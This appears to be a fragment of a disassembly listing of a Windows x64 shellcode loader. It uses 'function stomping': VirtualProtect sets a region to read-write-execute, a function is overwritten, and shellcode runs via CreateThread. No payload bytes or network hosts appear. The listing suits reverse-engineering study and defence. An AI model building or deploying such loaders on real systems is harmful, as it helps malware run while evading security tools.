test eax, eax
jne 0x14000123f
lea rbx, str.VirtualProtect_RWX_failed_with_error_code:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x40
pop rbx
ret
lea rcx, str.Function_stomped__n
call fcn.140001010
lea rcx, str.Execute_shellcode__n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140001298
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x40
pop rbx
ret